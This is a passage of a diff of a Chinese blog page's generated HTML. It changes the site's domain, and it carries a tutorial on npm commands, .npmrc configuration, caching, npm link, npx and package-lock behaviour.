62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="node.js包管理工具npm的简单使用"><meta property="og:description" content="npm是Node.js的默认包管理工具
 安装npm：安装node.js(一般来说安装nodejs都会安装npm的)
 npm -v 查看npm版本号 node -v 查看node版本号 npm install nmp@latest -g 更新最新nmp，-g全局，没有加-g就是本地安装，或者在@后面加版本号来更新到指定版本的npm npm init -y 初始化 npm i 要安装的依赖 先检查有没有这个东西，有的话就下载下来 npm uninstall 要删除的依赖的名称 npm i 要安装的依赖@版本号 安装指定版本的依赖 npm update 依赖名称 安装最新的依赖或者更新npm npm init -y 使用默认的参数，去掉-y就是手动配置 npm run 对象名 执行脚本,引用package.json中的scripts对象，在对象中添加脚本 npm adduser 注册npm账号 npm publish 发布npm包 npm install 一键安装package.json文件里的所有依赖 npm install &ndash;dependencies 只安装package.json里的dependencies的文件 npm install &ndash;devDependencies 只安装package.json里的devDependencies文件 会自动将package.json中的模块安装到node-modules文件夹
-升级插件 npm-check-updates使用 npm install -g npm-check-updates 安装npm-check-updates插件 ncu 查看package.json中依赖的最新版本 ncu -u 更新依赖到最新版本 ncu -a 更新全部依赖到最新版本 npm update"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/31/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T15:05:00+00:00"><meta property="article:modified_time" content="2021-06-16T15:05:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="node.js包管理工具npm的简单使用"><meta name=twitter:description content="npm是Node.js的默认包管理工具
+升级插件 npm-check-updates使用 npm install -g npm-check-updates 安装npm-check-updates插件 ncu 查看package.json中依赖的最新版本 ncu -u 更新依赖到最新版本 ncu -a 更新全部依赖到最新版本 npm update"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/31/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T15:05:00+00:00"><meta property="article:modified_time" content="2021-06-16T15:05:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="node.js包管理工具npm的简单使用"><meta name=twitter:description content="npm是Node.js的默认包管理工具
 安装npm：安装node.js(一般来说安装nodejs都会安装npm的)
 npm -v 查看npm版本号 node -v 查看node版本号 npm install nmp@latest -g 更新最新nmp，-g全局，没有加-g就是本地安装，或者在@后面加版本号来更新到指定版本的npm npm init -y 初始化 npm i 要安装的依赖 先检查有没有这个东西，有的话就下载下来 npm uninstall 要删除的依赖的名称 npm i 要安装的依赖@版本号 安装指定版本的依赖 npm update 依赖名称 安装最新的依赖或者更新npm npm init -y 使用默认的参数，去掉-y就是手动配置 npm run 对象名 执行脚本,引用package.json中的scripts对象，在对象中添加脚本 npm adduser 注册npm账号 npm publish 发布npm包 npm install 一键安装package.json文件里的所有依赖 npm install &ndash;dependencies 只安装package.json里的dependencies的文件 npm install &ndash;devDependencies 只安装package.json里的devDependencies文件 会自动将package.json中的模块安装到node-modules文件夹
-升级插件 npm-check-updates使用 npm install -g npm-check-updates 安装npm-check-updates插件 ncu 查看package.json中依赖的最新版本 ncu -u 更新依赖到最新版本 ncu -a 更新全部依赖到最新版本 npm update"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"node.js包管理工具npm的简单使用","item":"https://xiaochenabc123.github.io/posts/31/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"node.js包管理工具npm的简单使用","name":"node.js包管理工具npm的简单使用","description":"npm是Node.js的默认包管理工具\n安装npm：安装node.js(一般来说安装nodejs都会安装npm的)\nnpm -v 查看npm版本号 node -v 查看node版本号 npm install nmp@latest -g 更新最新nmp，-g全局，没有加-g就是本地安装，或者在@后面加版本号来更新到指定版本的npm npm init -y 初始化 npm i 要安装的依赖 先检查有没有这个东西，有的话就下载下来 npm uninstall 要删除的依赖的名称 npm i 要安装的依赖@版本号 安装指定版本的依赖 npm update 依赖名称 安装最新的依赖或者更新npm npm init -y 使用默认的参数，去掉-y就是手动配置 npm run 对象名 执行脚本,引用package.json中的scripts对象，在对象中添加脚本 npm adduser 注册npm账号 npm publish 发布npm包 npm install 一键安装package.json文件里的所有依赖 npm install \u0026ndash;dependencies 只安装package.json里的dependencies的文件 npm install \u0026ndash;devDependencies 只安装package.json里的devDependencies文件 会自动将package.json中的模块安装到node-modules文件夹\n升级插件 npm-check-updates使用 npm install -g npm-check-updates 安装npm-check-updates插件 ncu 查看package.json中依赖的最新版本 ncu -u 更新依赖到最新版本 ncu -a 更新全部依赖到最新版本 npm update","keywords":["node.js","npm"],"articleBody":"npm是Node.js的默认包管理工具\n安装npm：安装node.js(一般来说安装nodejs都会安装npm的)\nnpm -v 查看npm版本号 node -v 查看node版本号 npm install nmp@latest -g 更新最新nmp，-g全局，没有加-g就是本地安装，或者在@后面加版本号来更新到指定版本的npm npm init -y 初始化 npm i 要安装的依赖 先检查有没有这个东西，有的话就下载下来 npm uninstall 要删除的依赖的名称 npm i 要安装的依赖@版本号 安装指定版本的依赖 npm update 依赖名称 安装最新的依赖或者更新npm npm init -y 使用默认的参数，去掉-y就是手动配置 npm run 对象名 执行脚本,引用package.json中的scripts对象，在对象中添加脚本 npm adduser 注册npm账号 npm publish 发布npm包 npm install 一键安装package.json文件里的所有依赖 npm install –dependencies 只安装package.json里的dependencies的文件 npm install –devDependencies 只安装package.json里的devDependencies文件 会自动将package.json中的模块安装到node-modules文件夹\n升级插件 npm-check-updates使用 npm install -g npm-check-updates 安装npm-check-updates插件 ncu 查看package.json中依赖的最新版本 ncu -u 更新依赖到最新版本 ncu -a 更新全部依赖到最新版本 npm update\n该升级插件和npm自带的差别在于npm自带的只能通过package.json文件中所标注的版本号更新，要手动更改，而该升级插件会自动更新package.json文件中所标注的版本号\n安装淘宝 NPM 镜像 npm install -g cnpm –registry=https://registry.npm.taobao.org\n全局设置淘宝 NPM 镜像 npm config set registry https://registry.npm.taobao.org -g\n使用方法 cnpm install 包名\npackage.json文件是用来定义包的属性 name 是包名 version 是包的版本号 description 是包的描述 homepage 是包的官网的url author 是包的作者名称 contributors 是包的其他贡献者名称 dependencies 是依赖包的列表，有依赖的名称和依赖的版本号，npm会自动将依赖安装到node_module目录下 repository 包代码存放的地方的类型，git或者svn main 指定了程序的主入口文件 keywords 关键字\n启动项目\nnpm run dev\nnpm run serve\n用npm安装的包都在package.json中声明了，在另一个环境下，直接npm install，就可以一键安装该项目的全部包，不用一个个安装了\nnpm install执行流程，找到npmrc文件，得到包从哪里下，下到哪里的数据，然后再判断是否存在package-lock.json文件，存在则和package.json判断版本声明是否一致（从缓存，网络资源加载依赖），一致则按照package-lock.json处理，不一致则按照package.json处理，并且更新package-lock.json\n如果没有package-lock.json文件则检查是否存在缓存，如果有缓存则解压到node_modules中，并且生成package-lock.json文件，如果没有缓存则从npm远程仓库获取包，检查包的完整性，然后添加到缓存，构建依赖树，并且解压到node_modules中，然后再生成package-lock.json文件\nnpmrc文件优先级：项目的npmrc文件\u003e用户npmrc文件\u003e全局npmrc文件\u003enpm内置的npmrc文件\nnpm安装会先根据npmrc文件选择npm远程仓库\n项目npmrc文件在当前项目的目录\n用户npmrc文件可通过执行npm config get userconfig查看目录\n全局npmrc文件（公共npmrc）可通过npm config get prefix查看目录\n例如在项目根目录下创建.npmrc文件，并且设置registry=https://registry.npm.taobao.org\nnpmrc文件的配置是通过键值对的形式的，registry为key，https://registry.npm.taobao.org为value\n设置用户npmrc文件\n可以直接修改用户npmrc文件或者执行npm config set registry https://registry.npm.taobao.org\n设置全局npmrc文件\n可以直接修改全局npmrc文件或者执行config set registry https://registry.npm.taobao.org -g\n快速修改用户npmrc文件，npm config edit\n快速修改全局npmrc文件，npm config edit -g\n删除registry（npmrc的其他配置也可以修改，npm config delete key）\nnpm config delete registry\n查看npmrc详细配置\nnpm config list [-l]\n查看npmrc具体参数配置（npmrc的其他配置也可以查看，npm get registry key）\nnpm get registry registry\n查看全局环境包目录，npm root -g\nnpm优先安装依赖到当前项目目录的node_modules目录中，也就是说同一依赖可能在计算机上多次安装，当然也可以使用参数-g全局安装\nnpm缓存\n查看npm缓存目录，npm config get cache\n清除缓存，npm cache clean –force\n下载包时会先下载到缓存中，使用pacote包解压到node_modules目录中\n其中pacote包又依赖于npm-registry-fetch来下载包，并且根据IETF RFC 7234生成缓存\n在下载包时，根据package-lock.json存储的integrity，version，name信息生成唯一的key\n如果存在缓存资源，则寻找其tar包的hash，通过pacote包将其解压到node_modules目录中\nnpm init可生成一个初始化的package.json，可通过js脚本来自定义npm init\nnpm-init.js\nmodule.exports = {\rname: prompt('name?''halloword'),\rversion: prompt('version?''0.0.1')\r}\rnpm config set init-module ~.npm-init.js\nnpm link（方便本地开发包，以及调试测试，假设npmModulea目录是一个包项目目录）\n先进入包项目目录（npmModulea目录），执行npm link，执行该命令会让npmModulea包被链接到全局node_modules目录中（软链接）\n在包项目目录（npmModulea目录）执行npm link npmModulea，该命令可以让npmModulea包链接到当前项目的node_modules目录中\nnpx可以直接执行node_modules目录的.bin目录下的文件，还可以在执行命令时自动检查命令是否存在\n而且npx在执行模块时，会优先安装模块的依赖，在执行之后会删除这些依赖，避免全局安装模块带了的问题\n部署私有npm镜像，nexus（java环境），verdaccio（Python环境），cnpm（node环境）\ncnpm私有npm镜像仓库：https://github.com/cnpm/cnpmjs.org\n简化依赖树，npm dedupe，避免几个包依赖另一个同版本包时，存在多个依赖的情况（yarn会自动执行该命令，自动扁平化依赖树）\nnpm ci要求项目存在package-lock.json或者npm-shrinkwrap.json，而且npm ci比npm install安装更严格，其完全根据package-lock.json安装依赖（安装依赖时不会修改package-lock.json和package.json），当package-lock.json中的依赖于package.json不一致时，报错退出并且不会修改package-lock.json\n注意：package-lock.json和npm-shrinkwrap.json同时存在项目目录时，package-lock.json会被忽略\nnpm ci安装依赖前，会先删除原来项目的node_modules文件夹，然后全新安装，而且是一次安装项目的全部依赖，不能安装单个依赖，所以其不需要去校验已下载依赖版本与控制版本的关系，也不用校验是否存在最新版本的库，下载的速度会更快\npackage-lock.json可以优化依赖的安装速度，package-lock.json已经保存了每个包的具体版本和下载链接，不需要再向远程仓库进行查询，获取到依赖后可直接进入文件完整性校验环节（integrity）\n而且package-lock.json可以锁定其依赖结构，保证执行npm install都得到相同的node_modules\npackage-lock.json保存其生成的依赖树是一致的，而package.json只能得到自己安装的依赖，但是其依赖的子依赖并没有记录，子依赖可能会发生改变或者更新了版本，从而导致其依赖树不一致\npackage-lock.json中的xxxdependencies\ndependencies表示项目依赖（会自动下载），devDependencies表示开发依赖（不会自动下载），peerDependencies表示同版本依赖（父依赖，宿主依赖），bundledDependencies表示捆绑依赖，optionalDependencies表示可选依赖\n注意：peerDependencies指定的依赖会进行安装，在引用这个依赖时，会先引用宿主依赖，bundledDependencies中指定的依赖，需要先在dependencies和devDependencies声明过，否则会报错，optionalDependencies中指定的依赖哪怕安装失败了，也不会导致安装失败\npeerDependencies其中的依赖就是好吧antd依赖于react和react-dom一样，是宿主依赖，表示你安装我时，最好安装这些依赖\n","wordCount":"247","inLanguage":"en","datePublished":"2021-06-16T15:05:00Z","dateModified":"2021-06-16T15:05:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/31/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>node.js包管理工具npm的简单使用</h1><div class=post-meta><span title='2021-06-16 15:05:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/node.js%e5%8c%85%e7%ae%a1%e7%90%86%e5%b7%a5%e5%85%b7npm%e7%9a%84%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>npm是Node.js的默认包管理工具</p><p>安装npm：安装node.js(一般来说安装nodejs都会安装npm的)</p><p>npm -v 查看npm版本号
+升级插件 npm-check-updates使用 npm install -g npm-check-updates 安装npm-check-updates插件 ncu 查看package.json中依赖的最新版本 ncu -u 更新依赖到最新版本 ncu -a 更新全部依赖到最新版本 npm update"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"node.js包管理工具npm的简单使用","item":"https://chenjunlinabc.github.io/posts/31/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"node.js包管理工具npm的简单使用","name":"node.js包管理工具npm的简单使用","description":"npm是Node.js的默认包管理工具\n安装npm：安装node.js(一般来说安装nodejs都会安装npm的)\nnpm -v 查看npm版本号 node -v 查看node版本号 npm install nmp@latest -g 更新最新nmp，-g全局，没有加-g就是本地安装，或者在@后面加版本号来更新到指定版本的npm npm init -y 初始化 npm i 要安装的依赖 先检查有没有这个东西，有的话就下载下来 npm uninstall 要删除的依赖的名称 npm i 要安装的依赖@版本号 安装指定版本的依赖 npm update 依赖名称 安装最新的依赖或者更新npm npm init -y 使用默认的参数，去掉-y就是手动配置 npm run 对象名 执行脚本,引用package.json中的scripts对象，在对象中添加脚本 npm adduser 注册npm账号 npm publish 发布npm包 npm install 一键安装package.json文件里的所有依赖 npm install \u0026ndash;dependencies 只安装package.json里的dependencies的文件 npm install \u0026ndash;devDependencies 只安装package.json里的devDependencies文件 会自动将package.json中的模块安装到node-modules文件夹\n升级插件 npm-check-updates使用 npm install -g npm-check-updates 安装npm-check-updates插件 ncu 查看package.json中依赖的最新版本 ncu -u 更新依赖到最新版本 ncu -a 更新全部依赖到最新版本 npm update","keywords":["node.js","npm"],"articleBody":"npm是Node.js的默认包管理工具\n安装npm：安装node.js(一般来说安装nodejs都会安装npm的)\nnpm -v 查看npm版本号 node -v 查看node版本号 npm install nmp@latest -g 更新最新nmp，-g全局，没有加-g就是本地安装，或者在@后面加版本号来更新到指定版本的npm npm init -y 初始化 npm i 要安装的依赖 先检查有没有这个东西，有的话就下载下来 npm uninstall 要删除的依赖的名称 npm i 要安装的依赖@版本号 安装指定版本的依赖 npm update 依赖名称 安装最新的依赖或者更新npm npm init -y 使用默认的参数，去掉-y就是手动配置 npm run 对象名 执行脚本,引用package.json中的scripts对象，在对象中添加脚本 npm adduser 注册npm账号 npm publish 发布npm包 npm install 一键安装package.json文件里的所有依赖 npm install –dependencies 只安装package.json里的dependencies的文件 npm install –devDependencies 只安装package.json里的devDependencies文件 会自动将package.json中的模块安装到node-modules文件夹\n升级插件 npm-check-updates使用 npm install -g npm-check-updates 安装npm-check-updates插件 ncu 查看package.json中依赖的最新版本 ncu -u 更新依赖到最新版本 ncu -a 更新全部依赖到最新版本 npm update\n该升级插件和npm自带的差别在于npm自带的只能通过package.json文件中所标注的版本号更新，要手动更改，而该升级插件会自动更新package.json文件中所标注的版本号\n安装淘宝 NPM 镜像 npm install -g cnpm –registry=https://registry.npm.taobao.org\n全局设置淘宝 NPM 镜像 npm config set registry https://registry.npm.taobao.org -g\n使用方法 cnpm install 包名\npackage.json文件是用来定义包的属性 name 是包名 version 是包的版本号 description 是包的描述 homepage 是包的官网的url author 是包的作者名称 contributors 是包的其他贡献者名称 dependencies 是依赖包的列表，有依赖的名称和依赖的版本号，npm会自动将依赖安装到node_module目录下 repository 包代码存放的地方的类型，git或者svn main 指定了程序的主入口文件 keywords 关键字\n启动项目\nnpm run dev\nnpm run serve\n用npm安装的包都在package.json中声明了，在另一个环境下，直接npm install，就可以一键安装该项目的全部包，不用一个个安装了\nnpm install执行流程，找到npmrc文件，得到包从哪里下，下到哪里的数据，然后再判断是否存在package-lock.json文件，存在则和package.json判断版本声明是否一致（从缓存，网络资源加载依赖），一致则按照package-lock.json处理，不一致则按照package.json处理，并且更新package-lock.json\n如果没有package-lock.json文件则检查是否存在缓存，如果有缓存则解压到node_modules中，并且生成package-lock.json文件，如果没有缓存则从npm远程仓库获取包，检查包的完整性，然后添加到缓存，构建依赖树，并且解压到node_modules中，然后再生成package-lock.json文件\nnpmrc文件优先级：项目的npmrc文件\u003e用户npmrc文件\u003e全局npmrc文件\u003enpm内置的npmrc文件\nnpm安装会先根据npmrc文件选择npm远程仓库\n项目npmrc文件在当前项目的目录\n用户npmrc文件可通过执行npm config get userconfig查看目录\n全局npmrc文件（公共npmrc）可通过npm config get prefix查看目录\n例如在项目根目录下创建.npmrc文件，并且设置registry=https://registry.npm.taobao.org\nnpmrc文件的配置是通过键值对的形式的，registry为key，https://registry.npm.taobao.org为value\n设置用户npmrc文件\n可以直接修改用户npmrc文件或者执行npm config set registry https://registry.npm.taobao.org\n设置全局npmrc文件\n可以直接修改全局npmrc文件或者执行config set registry https://registry.npm.taobao.org -g\n快速修改用户npmrc文件，npm config edit\n快速修改全局npmrc文件，npm config edit -g\n删除registry（npmrc的其他配置也可以修改，npm config delete key）\nnpm config delete registry\n查看npmrc详细配置\nnpm config list [-l]\n查看npmrc具体参数配置（npmrc的其他配置也可以查看，npm get registry key）\nnpm get registry registry\n查看全局环境包目录，npm root -g\nnpm优先安装依赖到当前项目目录的node_modules目录中，也就是说同一依赖可能在计算机上多次安装，当然也可以使用参数-g全局安装\nnpm缓存\n查看npm缓存目录，npm config get cache\n清除缓存，npm cache clean –force\n下载包时会先下载到缓存中，使用pacote包解压到node_modules目录中\n其中pacote包又依赖于npm-registry-fetch来下载包，并且根据IETF RFC 7234生成缓存\n在下载包时，根据package-lock.json存储的integrity，version，name信息生成唯一的key\n如果存在缓存资源，则寻找其tar包的hash，通过pacote包将其解压到node_modules目录中\nnpm init可生成一个初始化的package.json，可通过js脚本来自定义npm init\nnpm-init.js\nmodule.exports = { name: prompt('name?''halloword'), version: prompt('version?''0.0.1') } npm config set init-module ~.npm-init.js\nnpm link（方便本地开发包，以及调试测试，假设npmModulea目录是一个包项目目录）\n先进入包项目目录（npmModulea目录），执行npm link，执行该命令会让npmModulea包被链接到全局node_modules目录中（软链接）\n在包项目目录（npmModulea目录）执行npm link npmModulea，该命令可以让npmModulea包链接到当前项目的node_modules目录中\nnpx可以直接执行node_modules目录的.bin目录下的文件，还可以在执行命令时自动检查命令是否存在\n而且npx在执行模块时，会优先安装模块的依赖，在执行之后会删除这些依赖，避免全局安装模块带了的问题\n部署私有npm镜像，nexus（java环境），verdaccio（Python环境），cnpm（node环境）\ncnpm私有npm镜像仓库：https://github.com/cnpm/cnpmjs.org\n简化依赖树，npm dedupe，避免几个包依赖另一个同版本包时，存在多个依赖的情况（yarn会自动执行该命令，自动扁平化依赖树）\nnpm ci要求项目存在package-lock.json或者npm-shrinkwrap.json，而且npm ci比npm install安装更严格，其完全根据package-lock.json安装依赖（安装依赖时不会修改package-lock.json和package.json），当package-lock.json中的依赖于package.json不一致时，报错退出并且不会修改package-lock.json\n注意：package-lock.json和npm-shrinkwrap.json同时存在项目目录时，package-lock.json会被忽略\nnpm ci安装依赖前，会先删除原来项目的node_modules文件夹，然后全新安装，而且是一次安装项目的全部依赖，不能安装单个依赖，所以其不需要去校验已下载依赖版本与控制版本的关系，也不用校验是否存在最新版本的库，下载的速度会更快\npackage-lock.json可以优化依赖的安装速度，package-lock.json已经保存了每个包的具体版本和下载链接，不需要再向远程仓库进行查询，获取到依赖后可直接进入文件完整性校验环节（integrity）\n而且package-lock.json可以锁定其依赖结构，保证执行npm install都得到相同的node_modules\npackage-lock.json保存其生成的依赖树是一致的，而package.json只能得到自己安装的依赖，但是其依赖的子依赖并没有记录，子依赖可能会发生改变或者更新了版本，从而导致其依赖树不一致\npackage-lock.json中的xxxdependencies\ndependencies表示项目依赖（会自动下载），devDependencies表示开发依赖（不会自动下载），peerDependencies表示同版本依赖（父依赖，宿主依赖），bundledDependencies表示捆绑依赖，optionalDependencies表示可选依赖\n注意：peerDependencies指定的依赖会进行安装，在引用这个依赖时，会先引用宿主依赖，bundledDependencies中指定的依赖，需要先在dependencies和devDependencies声明过，否则会报错，optionalDependencies中指定的依赖哪怕安装失败了，也不会导致安装失败\npeerDependencies其中的依赖就是好吧antd依赖于react和react-dom一样，是宿主依赖，表示你安装我时，最好安装这些依赖\n","wordCount":"247","inLanguage":"en","datePublished":"2021-06-16T15:05:00Z","dateModified":"2021-06-16T15:05:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/31/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>node.js包管理工具npm的简单使用</h1><div class=post-meta><span title='2021-06-16 15:05:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/node.js%e5%8c%85%e7%ae%a1%e7%90%86%e5%b7%a5%e5%85%b7npm%e7%9a%84%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>npm是Node.js的默认包管理工具</p><p>安装npm：安装node.js(一般来说安装nodejs都会安装npm的)</p><p>npm -v 查看npm版本号
 node -v 查看node版本号
 npm install nmp@latest -g 更新最新nmp，-g全局，没有加-g就是本地安装，或者在@后面加版本号来更新到指定版本的npm
 npm init -y 初始化
@@ -45,8 +45,8 @@
     name: prompt('name?''halloword'),
     version: prompt('version?''0.0.1')
 }
-</code></pre><p>npm config set init-module ~.npm-init.js</p><p>npm link（方便本地开发包，以及调试测试，假设npmModulea目录是一个包项目目录）</p><p>先进入包项目目录（npmModulea目录），执行npm link，执行该命令会让npmModulea包被链接到全局node_modules目录中（软链接）</p><p>在包项目目录（npmModulea目录）执行npm link npmModulea，该命令可以让npmModulea包链接到当前项目的node_modules目录中</p><p>npx可以直接执行node_modules目录的.bin目录下的文件，还可以在执行命令时自动检查命令是否存在</p><p>而且npx在执行模块时，会优先安装模块的依赖，在执行之后会删除这些依赖，避免全局安装模块带了的问题</p><p>部署私有npm镜像，nexus（java环境），verdaccio（Python环境），cnpm（node环境）</p><p>cnpm私有npm镜像仓库：https://github.com/cnpm/cnpmjs.org</p><p>简化依赖树，npm dedupe，避免几个包依赖另一个同版本包时，存在多个依赖的情况（yarn会自动执行该命令，自动扁平化依赖树）</p><p>npm ci要求项目存在package-lock.json或者npm-shrinkwrap.json，而且npm ci比npm install安装更严格，其完全根据package-lock.json安装依赖（安装依赖时不会修改package-lock.json和package.json），当package-lock.json中的依赖于package.json不一致时，报错退出并且不会修改package-lock.json</p><p>注意：package-lock.json和npm-shrinkwrap.json同时存在项目目录时，package-lock.json会被忽略</p><p>npm ci安装依赖前，会先删除原来项目的node_modules文件夹，然后全新安装，而且是一次安装项目的全部依赖，不能安装单个依赖，所以其不需要去校验已下载依赖版本与控制版本的关系，也不用校验是否存在最新版本的库，下载的速度会更快</p><p>package-lock.json可以优化依赖的安装速度，package-lock.json已经保存了每个包的具体版本和下载链接，不需要再向远程仓库进行查询，获取到依赖后可直接进入文件完整性校验环节（integrity）</p><p>而且package-lock.json可以锁定其依赖结构，保证执行npm 